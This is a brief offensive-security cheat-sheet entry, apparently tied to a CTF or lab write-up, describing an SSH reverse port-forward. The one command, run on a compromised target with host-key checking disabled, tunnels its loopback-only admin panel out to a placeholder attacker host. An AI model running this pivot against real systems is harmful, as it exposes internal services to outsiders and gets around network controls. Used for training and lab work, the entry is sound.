SSH Reverse Port-Forward (Pivot an Internal Service)
Pull a service that only listens on the target''s loopback (e.g. an admin panel on 127.0.0.1:8080) back to your attacker box over SSH.
# Run on the target (you need outbound SSH to your box). Afterwards the target's
# 127.0.0.1:8080 is reachable as 127.0.0.1:8080 on YOUR machine.
ssh -N -R 8080:127.0.0.1:8080 -o StrictHostKeyChecking=no <attacker-user>@<attacker-ip>used in: Byte Lotus: Infinity Pool — Two Shells, One Voicemail